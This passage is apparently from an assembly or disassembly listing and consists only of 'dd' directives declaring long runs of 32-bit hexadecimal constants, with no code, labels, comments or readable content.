		dd 40AFFB84h, 0D8152E14h, 223E2A17h, 7021C445h,	3295723Dh
		dd 0E660FB75h, 537E8E7h, 35320552h, 0DA2028C4h,	77A2116Dh
		dd 41DBAB8Bh, 98947C20h, 0BFFAD53Dh, 957D541Fh,	1A77D0E4h
		dd 88A58B9Bh, 0F3DB1799h, 0D37646F4h, 0E21F70D2h, 0C0FB8D6Bh
		dd 82EBCEE3h, 0A3440543h, 9A161E4Fh, 26A6551Eh,	0E30613FFh
		dd 0B221CD95h, 199B3910h, 6CC2E1C7h, 3CF5EF9Bh,	4782F22Ah
		dd 0F5F22018h, 0F1A33E5Fh, 33A609DAh, 8A83928h,	0CFA3B05Eh
		dd 80DBE661h, 1662B06Ch, 3DADFCA4h, 181086C9h, 3DA35F34h
		dd 2CDF9C28h, 5E1AD029h, 208CB2AEh, 167A0ADCh, 0AF2765D1h
		dd 0ED9FCBA3h, 1702C527h, 0F80BE136h, 0FFE02BEDh, 0A133AE99h
		dd 0D5C7C793h, 8275080Ch, 0D14556B8h, 0CD5847A7h, 1AE3BD16h
		dd 4681281h, 7E48A136h,	9CDA3CBFh, 0ED903F85h, 0A1D431AFh
		dd 4A002911h, 541DD49Bh, 0A66316A6h, 0D4BFC807h, 40B3C18Dh
		dd 3D5CAD06h, 0C079C4F9h, 92B0DC40h, 8184A273h,	846E05B2h
		dd 3D05F94h, 0ACAB4D47h, 0EE49EDA1h, 81DBEE50h,	4C1F32A3h
		dd 55DBD0C4h, 89F20939h, 0FE112426h, 6715715Ch,	0B51BFC55h
		dd 0D1D39DA9h, 5898B32Dh, 0D1D87A1Ch, 55B87FF5h, 0E35B4A86h
		dd 5947D20h, 85CED9A7h,	524C81C3h, 62A00FB1h, 0CB41F788h
		dd 26448896h, 407945DDh, 0EA3054Bh, 0D1603DA3h,	6AF4D7DAh
		dd 335ECD32h, 1736DF55h, 0E610978Fh, 822D8FD8h,	206F794Dh
		dd 0D1635B5Ah, 6F9B6C8Bh, 752D5B7Ah, 0B9459997h, 0BCC0369h
		dd 75AFA8B6h, 7BBC756Fh, 45FE641Bh, 34CA898Ch, 0A9184882h
		dd 0BEC7CC0Ah, 608E57BAh, 718F638Bh, 2748A1A4h,	0E997E6C1h
		dd 0D82F7E1Bh, 50080C12h, 0E3BF9861h, 0F0B9CC4h, 3A870E6Fh
		dd 5CB0627Bh, 0E46DCEDAh, 37AFF138h, 0EB0B858Bh, 8CAD673Fh
		dd 6B836044h, 0FC4CD7D8h, 4B0E3766h, 0B564E49Bh, 25B8978Fh
		dd 326BE10Bh, 750E3ED8h, 9EFB7032h, 1A298C81h, 97BC2617h
		dd 9CD90AC2h, 4FC17395h, 2D84D4F9h, 5020B58Dh, 0C5A9E976h
		dd 3B1EEE8Eh, 12A99162h, 0A464A08Ah, 9A4940A7h,	0D753103Eh
		dd 0D2B300F3h, 445ED1CBh, 59122FB2h, 0D08D5783h, 0F79D6E60h
		dd 0E8F4DFF1h, 78B5A1BAh, 20FB5C3Dh, 0AEADEAD7h, 42D6A390h
		dd 0A6F1B3Eh, 4DBE00D1h, 0CB36F0FDh, 36720B0Eh,	9CB875C3h
		dd 29ABDEC5h, 49526655h, 523D11F2h, 32A887DAh, 0C3F8F467h
		dd 0BD2F0728h, 15E70CB9h, 0AFD37586h, 90952197h, 0C9D42045h
		dd 2B24CC7Fh, 4567C9BAh, 0E3DEA9A8h, 26569221h,	1DCF6FE5h
		dd 0F69C45ACh, 0B871BF16h, 308BAC6Fh, 53382041h, 2EC90511h
		dd 0CBD53D2Dh, 7862700Ch, 0F31A5AEBh, 0D4C915ADh, 0FF98F15Dh
		dd 74D75822h, 9313493h,	0ABBAD9Eh, 5FF4308h, 63373291h
		dd 43D11A54h, 0FB929358h, 0ACA1414Dh, 0E2395AB1h, 1C2703B1h
		dd 0BECC6541h, 0FF3DE08Ah, 0B80730F6h, 0E9AA1D24h, 8EF715EEh
		dd 0C177FF32h, 0B682E69Ch, 0C085E9C1h, 0FD4C9FD1h, 0B7028E16h
		dd 825B3117h, 0F7981B30h, 2703706Ch, 6DB1C63Bh,	6594E6Fh
		dd 57311BC2h, 0AD390337h, 61E761F0h, 0C8C8CC34h, 71B274EDh
		dd 8EB75CA3h, 5305787Fh, 32A15DEDh, 93F3BFCAh, 8EB78BF0h
		dd 0C3870965h, 0A3F0EEB3h, 6F302DDh, 0CAA84C9Ch, 9E451244h
		dd 4E862E5Ah, 0C85BE8E0h, 0E6C845F4h, 0E81959F4h, 1EFB1E49h
		dd 0FF96C281h, 94C97E3h, 4D54FF24h, 0AFAC0AC7h,	9907956Dh
		dd 247979A4h, 0F8F8E60Eh, 18493A90h, 17A9BF26h,	989C05AEh
		dd 7B3D3204h, 0BF92EF84h, 6AB9487Eh, 0AA3988BDh, 86604B54h
		dd 41E5E3DDh, 212F44E2h, 18ED9F5Fh, 0AEEBC137h,	0FA165593h
		dd 89294946h, 31E81EF7h, 7C69ACFDh, 2529CC61h, 828389B9h
		dd 314A625Ah, 70E7B86h,	1A668536h, 0CE84951Ah, 73904E70h
		dd 6942451Bh, 5E03F9B5h, 2054B9A2h, 0D735A26Eh,	5399B917h
		dd 678120C8h, 0EEA5E1A8h, 0BE626FEAh, 2424F036h, 1CFBD707h
		dd 0B967064Fh, 0C83C84BDh, 2BAC73FCh, 2930E828h, 5CD863E5h
		dd 0A2339F5Fh, 16A0A7C1h, 6EF2B357h, 0D3A7819Ah, 5F4F11C3h
		dd 1C699208h, 0ADC2DB28h, 0CF067708h, 0CA5B39D4h, 0A2377AD4h
		dd 98D8DABEh, 0C18CC34Ah, 0A742CEE9h, 4C944C2Fh, 0DACBC6A4h
		dd 52E1949Eh, 6D20EF1Eh, 36D99FB2h, 146D692Eh, 16A514B2h
		dd 784C563Ah, 118354D4h, 0F5B4973Dh, 0BB52F2F7h, 4982F592h
		dd 4435735Ch, 283798B6h, 0A64F27D8h, 0E32AB22Ch, 0A0826D05h
		dd 0B4ADCB64h, 1322E5BCh, 992DBCF8h, 52223526h,	2DB3016Bh
		dd 14E179A0h, 607903F7h, 849484E9h, 58945536h, 0F5962B67h
		dd 96F8FC31h, 0FDB5E668h, 0E301CB20h, 11375F98h, 4874B17Ch
		dd 4B54CF89h, 7CA30384h, 6CCA998Eh, 0E6ED1C37h,	54223216h
		dd 0E2D2130Dh, 6BD03B75h, 8945B663h, 52445F3Bh,	0A0BE1E79h
		dd 0FF21ABC8h, 387D131Ch, 34834EF1h, 0C3948245h, 0D07A9C5h
		dd 479AB58Dh, 0F5EC1604h, 17BB9FF5h, 0B3948198h, 0E8EC50F2h
		dd 651CCF64h, 9C7BEDBBh
		dd 5409F921h, 0FBDF832Bh, 25370CA1h, 0A3C4E742h, 5E01649h
		dd 6ECE9911h, 0C0905D5Bh, 0F43998E5h, 26033BC1h, 8BBE0EDFh
		dd 0B0D272B0h, 0F1FA1FF1h, 0E03CA15Fh, 0EC47BF13h, 27B39F36h
		dd 3E0B7FBDh, 9CAA992h,	0FEACA2F4h, 0C101A9DEh,	0F82C6082h
		dd 96BBA974h, 8DC85FCEh, 0C3EC579Eh, 2C582B82h,	0F0B1D368h
		dd 0D43CFDB1h, 9EA2F49Dh, 0FAD6A43Ah, 3EA24C31h, 0E4EBDAA7h
		dd 0B6720DBCh, 15EF6D1Bh, 8BEF0D66h, 4C762F9Ch,	4E01D620h
		dd 0FFC32CC9h, 86BC20Dh, 81E98F0Ah, 35E6E0AFh, 89B6D21Ah
		dd 0ABA100B1h, 0B223A239h, 9E27E24Ch, 0B217E0BEh, 0B13BBBDEh
		dd 0C7698AACh, 3D0B67F8h, 0FF1BBDF3h, 6265F66h,	0B80FF4DEh
		dd 0F89BBD43h, 0DB03A6F1h, 71C7048Dh, 0F4323AABh, 12384C0Fh
		dd 6F5A9BAh, 0D0EF9FE6h, 0ABDE0E57h, 0E346A044h, 0D3DBF5BCh
		dd 9BAE2B35h, 56B7D2BEh, 9AEA41EFh, 9FFD57A8h, 471F0BB1h
		dd 0B9B2D6DFh, 639C2BBBh, 439C0CD6h, 9AB976B5h,	2C1ADA52h
		dd 0F00416B7h, 0F764DC1Dh, 0CE6B5BDAh, 0DC77FD37h, 236F437Eh
		dd 8EDE36Ch, 5C68A634h,	76E0ADFFh, 7718ECB6h, 8073E299h
		dd 69A43C9Dh, 141D9DCh,	9588C0F9h, 0E181C15h, 82DDE797h
		dd 0A4DE7467h, 9EDB563Eh, 7EAE7F3Fh, 0ECCA7E02h, 70547F89h
		dd 47D1240Ch, 3105F631h, 0E2EBAE0Bh, 92A78AD0h,	3B230520h
		dd 43541831h, 0EC7E9EA5h, 4ECAEA2Ch, 4BBE1902h,	0B7D477AFh
		dd 49B7D223h, 0FC7842D2h, 356FC8C5h, 0B6354C42h, 0B46C6253h
		dd 2BF5E7B2h, 0BFB57394h, 0A25018E4h, 331746D8h, 0B386F9A4h
		dd 0DD1890CFh, 0E5061373h, 3ACAEE0h, 0A2FFD1A6h, 2C5A9DF0h
		dd 655C8F78h, 0EF5F7DF8h, 71E3C7D8h, 52E6ACB5h,	3EA90F29h
		dd 61DD077Eh, 0D856AF62h, 42B08147h, 49980DF9h,	55B0915Ch
		dd 4676BE97h, 4C0C1567h, 0A861EE1Eh, 0D127A5A5h, 7668AEB1h
		dd 0B2A930FDh, 5AC30A70h, 9801EC3Eh, 3BCB085Eh,	0FFB11D09h
		dd 2EF6CD43h, 0C50B90D0h, 532DDB5Eh, 0B95CE180h, 0EEB3FE84h
		dd 1CE9B1C5h, 580FE6EAh, 13909D31h, 0DE7E27D6h,	74051FFDh
		dd 0CE51DFE8h, 0C0FD5E07h, 26D16C5Ah, 0F490FA49h, 0BA91D0F9h
		dd 0B921085Eh, 861E9E74h, 0CC10CB88h, 0D2F6596Eh, 0AD7FDAADh
		dd 0B9775AC6h, 16E1F7F0h, 0CC5ABF07h, 70DE52C4h, 1C37659Ah
		dd 4E167A8Bh, 402B4649h, 0BB44646Eh, 0D2B137DCh, 0E0F9A1B6h
		dd 0F5AE5D86h, 6857FA39h, 978F7AF1h, 0C021E6A1h, 89998B1Bh
		dd 79061F88h, 0EC5117E0h, 0D6349CCCh, 4BD2F84Dh, 0F1554CD9h
		dd 409D56E0h, 0FA57E40Bh, 738FAA18h, 474AC375h,	946FD209h
		dd 0A590B0F1h, 8B799D69h, 765B9886h, 0FEA13A55h, 9D5CBDD2h
		dd 1BAEA978h, 0A19053A6h, 9CEC17BBh, 35AD3623h,	0C86A4DFh
		dd 33B228C1h, 0B76B6649h, 0F374642Bh, 0C40716A4h, 16E162FAh
		dd 0AA03D013h, 15384E8Ch, 0B0D80F85h, 5F37331Fh, 8C83A747h
		dd 0B2DF64ADh, 0ABD98B73h, 2EDC3A79h, 162509E9h, 5B5F99F3h
		dd 22DE5CAFh, 91128E98h, 14DF4DEFh, 0CB79B6D5h,	39E75893h
		dd 0A66384A8h, 0DE8337FDh, 372143C9h, 8874A19Ah, 0A74E0E7Ch
		dd 0F3CC9801h, 9B942040h, 8A23B1F9h, 56CBE6A8h,	0B9FDF56Ah
		dd 37F71DE4h, 50457C86h, 0AC14B680h, 9E979357h,	0CC4B3151h
		dd 95FF06F8h, 884E1BEBh, 0B917F641h, 7383FA58h,	2CAC7165h
		dd 93959308h, 8EB24A2h,	8A498E22h, 4054C308h, 0B011B713h
		dd 714B98CFh, 634CA06Ah, 8FF6A3D7h, 9D5398C3h, 0E3673EACh
		dd 0C5603BAFh, 538C52E7h, 0F158CBA8h, 9F66E09Bh, 47EA98D5h
		dd 5D14D889h, 42626259h, 0CE3AE062h, 0BED566B6h, 0BCCDEB2Eh
		dd 70E45896h, 3BFD59F9h, 583A5803h, 0F1E7A72Dh,	2BEDADD9h
		dd 0EEAC147Bh, 0B8911E5Fh, 9B428EC3h, 9808436Fh, 578EDFF2h
		dd 0EFF07CDDh, 4C7E2B22h, 1253170Dh, 0E9416BE3h, 27E4C35Dh
		dd 0B89A7DBCh, 0C4E7EF0Dh, 0E49CEAECh, 0F4BCBA6Eh, 0D4CAE1C1h
		dd 7BADA657h, 0FC05731h, 29A06423h, 427F3249h, 0F90EDAEDh
		dd 61AFA731h, 0B7F741DDh, 0CE60B91Dh, 918AF871h, 8250A88h
		dd 6C020285h, 0B1EB5B8Eh, 9D999BF1h, 0C0EC84A2h, 5CE74670h
		dd 0ABEF6EAEh, 0BCAB9797h, 6C07CD4Fh, 0AA798178h, 4394FC0Fh
		dd 52B2D61Fh, 881752Eh,	0F5D0420Fh, 0C8F9BAE6h,	43519702h
		dd 11454B9Fh, 0CAB27EBFh, 98A2F98Eh, 0C6B8F792h, 6618BCC8h
		dd 26D99DECh, 7352B062h, 0F93C88A5h, 0D3BEDF4Ah, 0B8C97DB0h
		dd 22089F73h, 6518A9A5h, 0F54709AEh, 0D2291243h, 57E73DC3h
		dd 0BFDE355Bh, 84A8F55Ah, 75A02F58h, 48951A57h,	0FD50AF0Ah
		dd 0E3C19432h, 4524A87Ah, 0AC653CB3h, 35BC8F8h,	8B5137F0h
		dd 0CCDCE44Eh, 3021BA8Dh, 0D3814721h, 5B4990C8h, 0A1244883h
		dd 0E5DC9BD4h, 8C74C201h, 0B8BA6960h, 97BB6611h, 534C1E15h
		dd 7FFEF1D4h, 0B1529641h, 8121A57Ch, 0F4C4BB01h, 0E791D013h
		dd 819C83E0h, 753A86F9h, 0C9FA86E5h, 0A85A5B05h, 68C20475h
		dd 0D03026C3h, 72F67287h, 0E3819631h, 71EF5481h, 3253451Dh
		dd 69E019BAh, 9CF80765h, 0D0BA48EAh, 8F9A4B9h, 0C7D2CDD4h
		dd 0DED54CBCh, 0CF0FFC03h, 0D6D5CBC3h, 82C37E11h, 8E0A1202h
		dd 73C23CADh, 800A3442h, 0C5125B56h, 0D87BFCB2h, 15CEAAF8h
		dd 60CA6DA1h, 4DBDFF75h, 0BFDB9D97h, 0DE3AE524h, 0D201A41h
		dd 9716F5DFh, 2187B6E0h, 3CEC2D5Ch, 0C16C0CD3h,	413BB91Fh
		dd 3AC52F0h, 41D10F21h,	4A8CB5E1h, 2CD962E1h, 5621F296h
		dd 8222083Eh, 361CE641h, 0EF9D6D16h, 9CAAA42Bh,	0EDD649CFh
		dd 7E8A859Dh, 0CFD5D968h, 56453F9Ch, 75ECF9B2h,	3CD2F57Fh
		dd 1F862AA2h, 5DE4693Fh, 6BD2BBECh, 0EF26AF5h, 3EF1FC81h
		dd 59247DF7h, 0EB411494h, 92FA155h, 0AE16B0DBh,	4CF7594Fh
		dd 0B2BA774Bh, 8A6C8470h, 0B0034B82h, 0DE7A2ACFh, 0F6FEBDC1h
		dd 3F95BC4Eh, 0C060ABEAh, 0A306691Dh, 563B5FF4h, 72CBB4Dh
		dd 72436E8Bh, 985E5152h, 3288F797h, 686D8A58h, 0F49DD585h
		dd 0E8AEC5C6h, 68DDED5Ah, 17FD936Ch, 0AF78666Fh, 2971EA22h
		dd 0CF4ADDCBh, 0A2EA6BB2h, 31C5DAE9h, 99D35411h, 4E8A71A5h
		dd 4048BF0Ch, 499A32BFh, 1962E923h, 73E8FD1Eh, 5859FE06h
		dd 0F53AF533h, 0D98963F1h, 79B2C06Bh, 0F5299AC2h, 2D3A7CECh
		dd 6130F556h, 1F086C10h, 575C10DBh, 0D2DC4F43h,	18CD91DBh
		dd 0B1EBD82Fh, 9DB0EB0Dh, 917BA12Ah, 0B53381D4h, 0E041C0FBh
		dd 0A92EAB74h, 26BF4C7Ch, 0A474F16h, 0D3CF93D0h, 0F5D991F7h
		dd 72EEF5D7h, 7FD6964Bh, 2E8CD1CEh, 2ECDC461h, 0BF79B92Fh
		dd 0B5CFF5E5h, 0B7F0C615h, 2E0670B7h, 0BB2C2855h, 0E4788EDh
		dd 2C34A989h, 0F59665E3h, 0E56F43F9h, 0A3949393h, 7FE1C399h
		dd 78E13E0h, 0CFDA7745h, 0D78D49BBh, 0EF2F008h,	2FACA44h
		dd 3BD83098h, 5F159581h, 0DA4F49C5h, 5EDD85Eh, 0F6F977E9h
		dd 97766A2Eh, 0BE699649h, 0F6342CFCh, 0AF421713h, 0CBBD778Fh
		dd 0A3FBB7BDh, 0C42DA3A5h, 4C90CBB9h, 3790DADh,	2727E32h
		dd 0C7E389D4h, 523EF569h, 29B21FB6h, 12BD0AB9h,	34E88120h
		dd 0B9644853h, 63D604D9h, 0A71A94CEh, 61A3C252h, 4E7BB804h
		dd 8DE80DDDh, 78BEDD0Eh, 0E2A189CDh, 0B5F8C057h, 6CF46C01h
		dd 47DE49B6h, 7ADE7E40h, 2FC106E6h, 3AC4F3Bh, 0BEDB65Ch
		dd 97E2190h, 0D45DE82Ah, 0D3117FB2h, 9527CC4Eh,	650D0C6Dh
		dd 5ED21E1Bh, 0D30A47Ah, 2A34E820h, 0BE8AE684h,	0E3C39A64h
		dd 0DA72299h, 0F8966DDDh
		dd 40659E7Bh, 46EEBD2Eh, 0F194683Ch, 20FD7D2Fh,	0B1DA6168h
		dd 0A250362h, 31B73F1Fh, 1700ABF0h, 0FA1E926Bh,	76B74FB8h
		dd 0C2106B9Ah, 0B288E662h, 0A790E950h, 19CEE008h, 96FF9E23h
		dd 42D8C4EAh, 0DF208075h, 45ED9901h, 3D95199Eh,	0C6C5383Eh
		dd 0C1CA537Dh, 0D820D7DBh, 9E4A1907h, 0F336B62Dh, 9C1C1307h
		dd 0AF87FC64h, 0F8697629h, 3FD2BDD1h, 326A1C3Ch, 6A6DD234h
		dd 0D78D4179h, 0EF9E950Ah, 85EB8703h, 56B00005h, 2EBD7DB1h
		dd 4E397F06h, 3BD3FB5Bh, 1B552C68h, 580328F6h, 0A0B64594h
		dd 652D627Ah, 0EDB90226h, 6AA0468Eh, 0DDCC0758h, 19F17EBFh
		dd 0DB23BE56h, 1A530CFCh, 0E980C8E3h, 1A12E90Dh, 0B35707ABh
		dd 5FDFE0EAh, 23E39382h, 3A01223Ch, 0E0286A11h,	10898BC5h
		dd 35D7D654h, 5AA9E9EDh, 58BE15B1h, 57F78DA3h, 1888A440h
		dd 313BEDD9h, 0B3BF5DC4h, 9C9F232Bh, 0ACF02B2h,	906937A2h
		dd 6DE639CDh, 0FF44C1DBh, 48F06565h, 223DD199h,	6CDC8CB5h
		dd 90AA9678h, 8267F7C1h, 0DB63FF99h, 0E7C05C73h, 27805C13h
		dd 0CD8FE842h, 0F6DA6FD8h, 0B85F4A4Bh, 55D42879h, 5D4EAF42h
		dd 0C344D459h, 3DCBB336h, 0A7808020h, 8551DEAEh, 0B45E2D03h
		dd 0C7183C45h, 8503F88h, 12A234Eh, 0A2726740h, 521F1824h
		dd 666633CEh, 0BCEA86DAh, 0A51F2F4Dh, 85DEEDD2h, 4E6D9362h
		dd 9B66B75Bh, 1A905C2Dh, 717C86BFh, 84BC8E68h, 5A45F49Ch
		dd 0A3759BC9h, 6A96B547h, 621F61A8h, 0C9CE10D2h, 0F16D012Ah
		dd 0D4ECA5E2h, 4C6EDC02h, 84D8A32Ah, 0B0981B3Dh, 8BD91D35h
		dd 0BE2ED5DCh, 0B5832F99h, 25366408h, 188DABA0h, 1B533EEDh
		dd 91F863E3h, 3D50F27Ah, 9A4CB569h, 2E517AECh, 0BF4665Ch
		dd 0D836FA76h, 0E53837EAh, 0F1D85F12h, 1A06A3h,	139A4B1Dh
		dd 65FDF963h, 0D45B81BFh, 0D227C198h, 378514D6h, 4F53E082h
		dd 446D6001h, 696F5DB2h, 2D806BE3h, 1FD03F14h, 0BB8EBB24h
		dd 0AD0C46BAh, 78C400D6h, 3D8ACAEFh, 3D752FD1h,	3868D5F4h
		dd 0F1DE8F4Ch, 0F9B546C3h, 71518F10h, 610B1315h, 7E861022h
		dd 0D2F14335h, 45C180FAh, 9587854Fh, 0F928386Dh, 6B9526F9h
		dd 0C23D8A89h, 0AF677988h, 0C87EEB19h, 2D187CF6h, 869347C3h
		dd 8A50E80Bh, 76AC08h, 9D99E715h, 0E8F307E3h, 1AD660CEh
		dd 33B4A620h, 9DCDB6FDh, 964AB14Ah, 7C842FC6h, 0FEED9ED4h
		dd 2BF9515Ch, 0E47DD9A9h, 0D739C972h, 7491E60Fh, 0E153383Bh
		dd 799D058Bh, 211E634Fh, 0C98A3DDAh, 6D12393Ch,	6B7D0C31h
		dd 0B771B1CDh, 8D6EA283h, 0A0113006h, 1F522F90h, 18FC508h
		dd 9F002A6Fh, 28D84A3Ah, 0F8CC5EEFh, 0EFC93688h, 0CA3745E5h
		dd 0E17A963Ah, 0AF984F80h, 0AA38F0DEh, 0FEB4FF38h, 8045675Ah
		dd 75BF41B5h, 5893FDA5h, 0EEAED52h, 0B5A95A09h,	1AA3B5E6h
		dd 0C617AAF8h, 38A9F818h, 0F2CA9314h, 5833D186h, 32880877h
		dd 0A94C8D85h, 0B927FD01h, 238BBA5Ah, 917875BFh, 950DD9CCh
		dd 0BF75E166h, 0DE35D7CDh, 1ADFDBE7h, 5F29C3A7h, 6E5A6415h
		dd 0F3618732h, 44509AC7h, 41A9D451h, 0E6C4DFAh,	4D38FA0h
		dd 2208B450h, 0CB9BC543h, 0E029EA13h, 0BA3C2CD9h, 2225C75Dh
		dd 7193B932h, 36086AD2h, 0F2C544B8h, 714BA4D8h,	0AD5F8FCDh
		dd 0DBC168A7h, 0A3F47190h, 0EC73BD49h, 4361C007h, 46217C6Bh
		dd 581BB5A1h, 0C27B06BDh, 2BA5A85Eh, 926534AFh,	0FAC23353h
		dd 26AE9140h, 54C2045Ch, 0E2BADC3Dh, 627841A2h,	0C25940E3h
		dd 0BFB3937Ah, 0B540A725h, 6A86783Ah, 5DD8D033h, 1344BFDBh
		dd 677DEC2Fh, 87622F7Ah, 0D0F47627h, 0D055018Dh, 6230C2B2h
		dd 0E23E99CDh, 0BBD8E0D1h, 0A73BC2C0h, 3D7BDFF2h, 5DFADDF8h
		dd 0E16ADD4Ch, 0D39187C0h, 1AC4D7CBh, 1BE7DEC4h, 91D9CFEBh
		dd 2B0BC05Fh, 119D3BC7h, 92FE6A80h, 0DFA8B08Fh,	3103EA69h
		dd 0F6276CA9h, 79F8D57Fh, 0BB466DAFh, 7BCF8CD9h, 6C48EAD2h
		dd 0E060A04Fh, 8FE888ADh, 0ABFF5A5Fh, 7FB457DEh, 62CF728Ch
		dd 26A8D617h, 1F099269h, 171B4A62h, 0E5DAE6AEh,	187DAB35h
		dd 5FA39393h, 9C2F3739h, 1F62A257h, 2B4944Dh, 0B8E98D04h
		dd 9D577C86h, 0EF4C94B6h, 1C4619F3h, 103123A8h,	41C66120h
		dd 8E0F9042h, 9D8E877Ah, 0CCA61FEFh, 0E6BDB55Dh, 8F85DA88h
		dd 0A611F6A7h, 28A6AF85h, 20C8EA11h, 0E6B3ED25h, 2F04CE76h
		dd 7A545418h, 0FA5F745Ch, 7579F89Bh, 0B9DF66CCh, 0D6A3AF4Bh
		dd 0B58D3BCEh, 0C14E46F0h, 0F57AA970h, 5063522Bh, 0D9CBD409h
		dd 64D8772Dh, 0BFB285B1h, 0EFB3C97Ch, 0D2BD9487h, 45741653h
		dd 45F4D6AEh, 7599E074h, 2E5705D2h, 0B5CAF76Ah,	0A9662377h
		dd 0EC123C43h, 9EA0D04Bh, 49AECEC4h, 0E9171EF3h, 6A18ED30h
		dd 97E920C4h, 25002615h, 1C3CCE21h, 0C76BF5F1h,	778EA3E4h
		dd 49DE6888h, 0D0BF279Fh, 2E7D418Fh, 8BA30E00h,	5E4289EDh
		dd 46260B54h, 7A107DD9h, 409A0CFDh, 7BC07CACh, 5C403C7Ch
		dd 0BD153EFCh, 9A6D0537h, 2AF6DD5Ch, 0C5763ECAh, 90215136h
		dd 0CB7F7DDDh, 877ED69Fh, 20DAB3A6h, 0B23E1FEh,	0A192C056h
		dd 0F5A44D18h, 0EF1A156Ch, 8A5C8415h, 0E12DBA24h, 1C804116h
		dd 0FFC39167h, 51C455ABh, 0FF255C9Ch, 3F242810h, 0BCE5C4C9h
		dd 0FB41E973h, 0D12E54B7h, 97AF65A4h, 8FFF99D2h, 4B907081h
		dd 0DC960CE0h, 48F6A79Fh, 0ED2ADEAAh, 78C5F6BEh, 69EB681Ch
		dd 0E33172A4h, 718AADEBh, 0AED89C2Fh, 1CC0A634h, 0FCB8B741h
		dd 0BA29508Fh, 35AA5105h, 0FD847EC7h, 5169A864h, 44C67440h
		dd 2B7155ECh, 95C8210h,	2DF73C35h, 0C5DA79E4h, 3EED2DF1h
		dd 5F0D94DFh, 0A0AB16B3h, 850DA6FDh, 7F8B8963h,	1EF0D425h
		dd 0F3A5650Dh, 0C8E1BF1Bh, 0BE4276DCh, 83DA536Bh, 0C2646C51h
		dd 493F00F5h, 8A4AB50Ah, 0A113000Bh, 5FD9A2B9h,	982213D9h
		dd 2072773Eh, 7419BBADh, 0A8E1EADBh, 809FD389h,	0D8814C0Eh
		dd 0F6173057h, 974615AFh, 6D07CB9h, 25E4B0C1h, 7B7E3C8Bh
		dd 594D2C99h, 28674F35h, 0D06AEB2Bh, 0A35C8883h, 8BD899C5h
		dd 763B95A4h, 6858BB20h, 0BF0DB26Ah, 9823220Dh,	3690D68Bh
		dd 6CA183C1h, 6C8D212h,	45801B19h, 76F87327h, 6BEB152Bh
		dd 4BC9B22Dh, 0EC20CCF8h, 3705BFEh, 0EC1A7977h,	0ABABD510h
		dd 0C2C5AF05h, 0E5F2DBCEh, 0B7A2D13h, 0C0357878h, 0FA1A6320h
		dd 2D6056C9h, 23B0884Bh, 20281EAh, 238926F6h, 0DD6B7314h
		dd 71290243h, 0B3289198h, 92DFDC9Bh, 9546B280h,	0AECF5450h
		dd 89E7897Eh, 9683BEBBh, 7A786FBAh, 0B8DD745h, 64929213h
		dd 1A7F780Ah, 2FA3FDEDh, 0C6DFCFE9h, 0A158DAADh, 3D54DD6Ch
		dd 0ED2868Bh, 0AC31E183h, 0D4A7A9A9h, 2C52883Ah, 791F8449h
		dd 2860B865h, 0A31C90CDh, 88B2CC54h, 940DDE5Ch,	0BE1947Fh
		dd 0C6C9738Ah, 0E7E4A874h, 6965A2E9h, 1E4EDF51h, 668B4C0h
		dd 1AE60099h, 0E9B030D8h, 0CCF1B018h, 0CBB5E33Ch, 8728C0FCh
		dd 0C2991BCBh, 0E30538DFh, 6F52A3E0h, 0B0E84AF9h, 28F96D1Ah
		dd 5C5FED77h, 5CF0C3CEh, 8F6E8E3Ch, 8FE9F227h, 14479F39h
		dd 0F12889E4h, 0E4B1C30Eh, 1F5602CEh, 0F8D06C80h, 0C4CCC15Dh
		dd 20F972D9h, 304E1275h, 0CF513F1Bh, 0A409415Eh, 2A101C7Ch
		dd 9AB53F56h, 599C5915h, 8BDC2E69h, 3208E0A9h, 0ADE7BE86h
		dd 1952674Dh, 0ED6EEBF1h, 1470CDA0h, 1C73AF86h,	0BACE857Eh
		dd 7C5E264Bh, 280B284Eh, 16B0F82Fh, 6766427Fh, 0EA811312h
		dd 8E74C611h, 1A43B2F9h
		dd 0DB1DCFBAh, 0EF3A769Dh, 0FB98AF59h, 43400153h, 0D50BC812h
		dd 805B04F9h, 0B6484F48h, 267509B8h, 712E34F7h,	98C6225h
		dd 489DD096h, 50FDAA48h, 0F3A3A53Fh, 76DF89FAh,	0D1360146h
		dd 8C3A169Ah, 0B3C70F45h, 0ACC88EACh, 32F7977h,	48EE6A9Ah
		dd 0F5476148h, 434561E2h, 0A669AC7h, 0EE25275Ch, 0B9AEAD32h
		dd 37E17D13h, 0FED574F9h, 0E8AD3C14h, 4104D7Fh,	0C938E292h
		dd 907CD5E5h, 0EB7846C4h, 8B0D1CD1h, 0F9B3E331h, 0A2C944EFh
		dd 0AE05429Ah, 5EFDDDB6h, 0CEBF642Eh, 31AAE879h, 9201E203h
		dd 0AB60A3BFh, 232A4936h, 8D825772h, 0A50A89C7h, 0CB785BF3h
		dd 69CF459h, 5FD84003h,	102E0DF0h, 0CB2C81F0h, 226BBE9Fh
		dd 133B4AEh, 0DAB8B17h,	27A91F15h, 0CEC47569h, 7EF2194Ch
		dd 0CEB85428h, 0A39C2B1Ah, 0EC97AC5h, 42B061FEh, 7F215B13h
		dd 5FB15FAEh, 69CDE08Eh, 66AF1D6h, 0AADF6FCCh, 0F7D76B46h
		dd 894CAEB5h, 6DB0A910h, 0D04C4FCCh, 0D751199Ch, 5A6160CAh
		dd 9128588Ah, 5FE45BDBh, 0A2F5B011h, 17B24343h,	2CB83093h
		dd 0E76C4A33h, 0D9460302h, 0E91D251h, 91C32D0Dh, 663CC155h
		dd 107B96DAh, 0AC089B72h, 6A93C651h, 0F4DE4B70h, 45C53BBAh
		dd 5811C921h, 67A13B7Ch, 0FCE0ACDEh, 0F762321Eh, 1550FA98h
		dd 504DD2CEh, 8A83D447h, 0EAA490DEh, 8AC2FAEFh,	0BE527D93h
		dd 8A6FE45h, 78DD4CCFh,	0D477CA1h, 4EBE1D05h, 741A0FC6h
		dd 8328A064h, 58168E0Ah, 0BD245521h, 0F7D2555Ah, 0DFC2F4Fh
		dd 32ABE007h, 61195B49h, 246F0E81h, 0E659AEAh, 0A651E657h
		dd 0D2418DBDh, 0B1D5B266h, 90DF71CCh, 0DDE53414h, 0EA54C6D7h
		dd 0E5964Dh, 290F103Bh,	0EF88D54Eh, 9715B3B9h, 4958C9ABh
		dd 79AA975Fh, 0A8FC3502h, 700763Bh, 4F1DA494h, 1076AE5Dh
		dd 0D5E30871h, 0A483A82h, 19292404h, 9D342986h,	657363Eh
		dd 8715B5E9h, 99C0ADD5h, 0CD711E35h, 440E0767h,	7A9074DBh
		dd 7E58EA76h, 4A856BB9h, 0D72ABC3h, 49DA9147h, 67F301ACh
		dd 8275FFBBh, 53CFCE0Bh, 0E3D025DCh, 4C5E38ADh,	0C787BAECh
